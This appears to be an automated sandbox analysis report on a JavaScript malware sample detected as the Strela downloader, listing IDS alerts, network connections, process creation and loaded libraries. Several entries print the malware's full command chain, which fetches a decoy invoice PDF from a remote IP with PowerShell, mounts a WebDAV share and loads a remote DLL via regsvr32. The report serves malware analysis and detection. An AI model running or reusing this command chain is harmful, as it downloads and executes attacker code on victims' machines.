Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2084577951.00000252538E0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2087032194.00000252538FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.2144809018.000001496B216000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2144706478.000001496B231000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2146784056.000001496B1D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/log5
Source: svchost.exe, 00000009.00000002.3374473674.0000022ACF400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2148558135.0000022ACF280000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5432, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 213526738195689141.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1372:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p1b1k0ez.q40.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\213526738195689141.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1752,i,5561115583266431318,865564318396973402,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170123006025629.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1752,i,5561115583266431318,865564318396973402,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
